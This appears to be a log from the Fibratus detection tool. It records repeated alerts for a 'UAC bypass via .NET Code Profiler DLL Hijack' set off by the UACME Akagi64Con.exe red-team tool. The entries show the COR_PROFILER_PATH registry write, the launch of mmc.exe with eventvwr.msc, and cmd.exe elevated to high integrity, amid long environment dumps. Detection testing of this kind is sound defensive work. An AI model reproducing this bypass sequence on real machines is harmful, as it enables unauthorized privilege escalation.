DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 87623 + Pid: 8380 + Tid: 15292 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:34:00.0299327 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 305476000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808ff543c080, name➜ cmd.exe, pid➜ 4156, ppid➜ 8380, real_ppid➜ 8380, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:34:00.0298579 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 8380 + Ppid: 9316 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:34:08+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 88368 + Pid: 10172 + Tid: 9980 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:34:07.7606909 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 10172 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 88819 + Pid: 10444 + Tid: 3412 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:34:08.3990719 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3ebeca000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080044f3080, name➜ cmd.exe, pid➜ 5268, ppid➜ 10444, real_ppid➜ 10444, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:34:08.3990251 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10444 + Ppid: 10172 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:34:18+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 89457 + Pid: 8612 + Tid: 7224 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:34:16.9799439 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 8612 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program 